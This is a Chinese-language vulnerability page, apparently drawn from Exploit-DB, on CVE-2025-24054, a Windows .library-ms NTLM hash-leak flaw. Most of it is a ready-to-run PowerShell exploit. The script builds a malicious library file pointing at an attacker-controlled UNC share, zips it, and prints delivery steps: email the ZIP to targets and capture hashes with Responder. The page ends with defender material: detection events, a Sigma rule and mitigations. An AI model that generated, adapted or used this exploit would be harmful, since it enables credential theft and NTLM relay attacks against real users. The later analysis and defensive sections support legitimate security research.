[remote] Windows 10.0.17763.7009 - spoofing vulnerability
Windows 10.0.17763.7009 存在远程欺骗漏洞,攻击者可通过特制请求模拟受信任实体。
High · CVSS 8.1📋 漏洞基础信息
| CVE | CVE-2025-24054 |
|---|---|
| 漏洞类型 | 欺骗漏洞 |
| 受影响版本 | Windows 10.0.17763.7009 |
| 危害等级 | High · CVSS 8.1 |
| 发布日期 | 2026-02-11 |
| 提交者 | Beatriz Fresno Naumova |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
漏洞存在于 Windows 的凭证管理或身份验证组件中,未对远程实体身份进行充分验证,允许攻击者通过伪造凭证或身份信息绕过信任机制。
🎯 攻击场景
1. 攻击者构造特制的网络请求或协议交互;2. 向目标系统发送包含伪造身份信息的请求;3. 目标系统错误地将攻击者识别为受信任实体,执行相应操作。
💥 漏洞影响
远程欺骗:攻击者可伪装成合法用户或服务,导致身份冒用、会话劫持、数据泄露。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.CVE-2025-24054 Windows 库文件欺骗漏洞 PoC
.作者: Beatriz Fresno Naumova (PoC 适配)
.描述: 此脚本生成恶意的 .library-ms 文件,并将其打包成 ZIP。
当用户打开此 ZIP 中的库文件时,Windows 会尝试连接攻击者控制的
UNC 路径,从而触发 NTLM 身份验证。
.用法:
# 生成默认文件 (输出到当前目录下的 exploit.zip)
.\CVE-2025-24054.ps1 -Target "192.168.1.100"
# 指定文件名和输出目录
.\CVE-2025-24054.ps1 -Target "\\attacker\share" -FileName "MyLibrary" -OutputZip "payload.zip" -OutputDir "C:\temp" -Force
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, HelpMessage="目标 IP、主机名或 UNC 路径 (如: 192.168.1.100 或 \\\\server\\share)")]
[string]$Target,
[Parameter(Mandatory=$false, HelpMessage="生成的库文件名 (不含扩展名)")]
[string]$FileName = "exploit",
[Parameter(Mandatory=$false, HelpMessage="输出的 ZIP 文件名")]
[string]$OutputZip = "exploit.zip",
[Parameter(Mandatory=$false, HelpMessage="输出目录 (默认当前目录)")]
[string]$OutputDir = ".",
[Parameter(Mandatory=$false, HelpMessage="是否覆盖已存在的输出文件")]
[switch]$Force
)
# ---------- 辅助函数 ----------
function Test-ValidTarget {
param([string]$Value)
# 检查是否为 UNC 路径 (\\server\share 或 //server/share)
if ($Value -match "^[\\/]{2}[^\\/]+[\\/][^\\/]") {
return $true
}
# 检查是否为 IPv4 地址
try {
[System.Net.IPAddress]::Parse($Value) | Out-Null
return $true
} catch {}
# 简单主机名检查
if ($Value -match "^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$") {
return $true
}
return $false
}
function New-MaliciousLibraryXml {
param([string]$Target)
# 构造 UNC 路径: 如果用户只输入了主机/IP,则附加默认共享名 "shared"
# 这是为了触发 Windows 自动连接到远程 SMB 共享
if ($Target -match "^[\\/]{2}") {
$uncPath = $Target -replace "/", "\"
} else {
$uncPath = "\\$Target\shared"
}
# 库文件的核心 XML 结构
# 关键点: <url> 元素指向攻击者控制的 UNC 路径
# 当 Windows 资源管理器打开此库时,会尝试解析该路径,触发 NTLM 认证
return @"
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>$uncPath</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
"@
}
# ---------- 主逻辑 ----------
Write-Host "[*] 验证目标参数..." -ForegroundColor Cyan
if (-not (Test-ValidTarget -Value $Target)) {
Write-Error "无效的目标格式。请输入有效的 IP 地址、主机名或 UNC 路径 (如: 192.168.1.100 或 \\\server\share)"
exit 1
}
# 清理文件名
$FileName = $FileName -replace '[^\w\.\-]', '_'
if ([string]::IsNullOrEmpty($FileName)) {
$FileName = "exploit"
}
# 构造输出路径
$libFileName = "$FileName.library-ms"
$fullOutputPath = Join-Path -Path $OutputDir -ChildPath $OutputZip
# 检查文件是否已存在
if (Test-Path -Path $fullOutputPath -PathType Leaf) {
if (-not $Force) {
Write-Error "文件 '$fullOutputPath' 已存在。使用 -Force 参数覆盖。"
exit 1
} else {
Write-Warning "文件已存在,将覆盖。"
}
}
Write-Host "[*] 生成恶意库文件 XML..." -ForegroundColor Cyan
$xmlContent = New-MaliciousLibraryXml -Target $Target
Write-Debug "生成的 XML 内容: `n$xmlContent"
Write-Host "[*] 创建临时目录并写入 .library-ms 文件..." -ForegroundColor Cyan
$tempDir = Join-Path -Path $env:TEMP -ChildPath ([System.IO.Path]::GetRandomFileName())
$tempLibFile = Join-Path -Path $tempDir -ChildPath $libFileName
try {
New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
Set-Content -Path $tempLibFile -Value $xmlContent -Encoding UTF8
Write-Host "[*] 打包成 ZIP 文件..." -ForegroundColor Cyan
# 确保输出目录存在
$outputDirFull = Resolve-Path $OutputDir -ErrorAction SilentlyContinue
if (-not $outputDirFull) {
New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null
$outputDirFull = Resolve-Path $OutputDir
}
# 创建 ZIP 文件
$zipPath = Join-Path -Path $outputDirFull -ChildPath $OutputZip
Compress-Archive -Path $tempLibFile -DestinationPath $zipPath -Force
Write-Host "[+] 成功生成恶意文件!" -ForegroundColor Green
Write-Host " 输出路径: $zipPath" -ForegroundColor Green
Write-Host " 文件大小: $((Get-Item $zipPath).Length) bytes" -ForegroundColor Green
# 显示使用建议
Write-Host "`n[!] 利用说明:" -ForegroundColor Yellow
Write-Host " 1. 将 $OutputZip 发送给目标用户(通过邮件、下载等)" -ForegroundColor Yellow
Write-Host " 2. 用户解压并双击 $libFileName 文件" -ForegroundColor Yellow
Write-Host " 3. Windows 将尝试访问 UNC 路径 '$Target' 并触发 NTLM 认证" -ForegroundColor Yellow
Write-Host " 4. 攻击者需在 $Target 上配置 Responder 或 NTLM 中继工具来捕获哈希" -ForegroundColor Yellow
} catch {
Write-Error "生成过程中发生错误: $_"
} finally {
# 清理临时文件
if (Test-Path -Path $tempDir) {
Remove-Item -Path $tempDir -Recurse -Force -ErrorAction SilentlyContinue
}
}
Write-Host "`n[*] 完成。" -ForegroundColor Cyan🔬 深度技术分析
漏洞触发机制
CVE-2025-24054 是一个 Windows 库文件(.library-ms)欺骗漏洞,从代码/协议层面分析:
1. 库文件格式:Windows 库文件是基于 XML 的特殊文件,用于在文件资源管理器中聚合来自不同位置的内容。其核心在于 <url> 元素,该元素指定库应该搜索的路径。
2. UNC 路径处理:当 <url> 中包含 UNC 路径(如 \\attacker\share)时,Windows 资源管理器会尝试连接该 SMB 共享。这个过程包括:
- 自动发起 SMB 连接请求
- 自动触发 NTLM 身份验证握手
- 受害者的 Windows 凭据(NTLM 哈希)被发送到攻击者控制的服务器
3. 根本原因:Windows 没有对库文件中指向网络资源的 URL 进行充分的安全检查或用户提示。资源管理器会透明地尝试连接远程共享,而不向用户显示警告,导致凭据泄露。
利用链分析
攻击者可以通过以下步骤利用此漏洞:
1. 攻击准备:
- 攻击者搭建一个恶意的 SMB 服务器(如使用 Impacket 的 smbserver.py 或 Responder)
- 准备恶意的 .library-ms 文件,指向攻击者的 IP 地址
2. 矢量传播:
- 将恶意的 .library-ms 文件通过邮件附件、下载链接或社交工程方式发送给受害者
- 文件通常被包装在 ZIP 压缩包中,以便通过邮件网关
3. 触发执行:
- 受害者解压并双击 .library-ms 文件
- Windows 资源管理器打开该库文件
- 系统自动尝试解析 UNC 路径,向攻击者的 SMB 服务器发起连接
4. 凭据捕获:
- NTLM 认证握手开始,受害者发送 NTLMSSP_NEGOTIATE 消息
- 攻击者回复 NTLMSSP_CHALLENGE(包含随机数)
- 受害者计算 NetNTLMv1/v2 哈希并返回
- 攻击者捕获这些哈希,可用于离线破解或 NTLM 中继攻击
关键代码/数据结构
1. 核心 XML 结构:
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\attacker\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>2. Windows API:
- SHLoadLibraryFromParsingName - 加载库文件
- IShellLibrary::LoadLibraryFromFile - 从文件加载库
- ResolveLibrary - 解析库中的 URL
3. NTLM 协议字段(捕获的关键信息):
- NTLMSSP_NEGOTIATE: 客户端支持的选项
- NTLMSSP_CHALLENGE: 服务器发送的 8 字节随机数
- NTLMSSP_AUTH: 包含 LM_Response 和 NTLM_Response(哈希)
4. 网络流量特征:
- SMB 协议端口 445(或 139)
- NTLMSSP 消息类型标识
- 目标主机的 NetBIOS 名称和域名
检测与防御
蓝队检测方法
1. 日志检测:
- Windows 安全事件 ID 4648(使用显式凭据尝试登录)
- Windows 安全事件 ID 4776(凭据验证)
- SMB 客户端连接日志(Event ID 8000-8800)
2. 流量特征:
- 出站连接至非预期的 SMB 端口(445/TCP)
- NTLMSSP 握手消息的异常频率
- 对未知或可疑 IP 的 SMB 连接尝试
3. 文件检测:
- 监控 .library-ms 文件的创建和打开
- 检查库文件中 <url> 元素是否指向外部 UNC 路径
- EDR 规则:检测 libraryDescription XML 结构中的可疑 URL
防御措施
1. Microsoft 缓解措施:
- 安装安全更新 KB5039212 或更高版本
- 启用 Microsoft 网络客户端:对通信进行数字签名(始终)
- 在组策略中禁用 NTLM 身份验证(如果可行)
2. 网络层防御:
- 在边界防火墙上阻止出站 SMB 流量(端口 445/139)
- 实施网络分段,限制内部 SMB 访问
- 使用 VPN 隔离网络流量
3. 用户培训:
- 教育用户不要打开来自不可信来源的 .library-ms 文件
- 提醒不要解压来自陌生发件人的 ZIP 附件
4. 监控规则示例(Splunk / Sigma):
title: Windows Library File UNC Path Execution
description: Detects when a .library-ms file is opened that contains a UNC path
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 11
TargetFilename|endswith: '.library-ms'
condition: selection🛡️ 修复建议
安装 Microsoft 官方发布的 CVE-2025-24054 安全更新;临时缓解措施包括启用网络流量完整性检查、限制不必要的外部身份验证协议。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:43 | 来源: Exploit-DB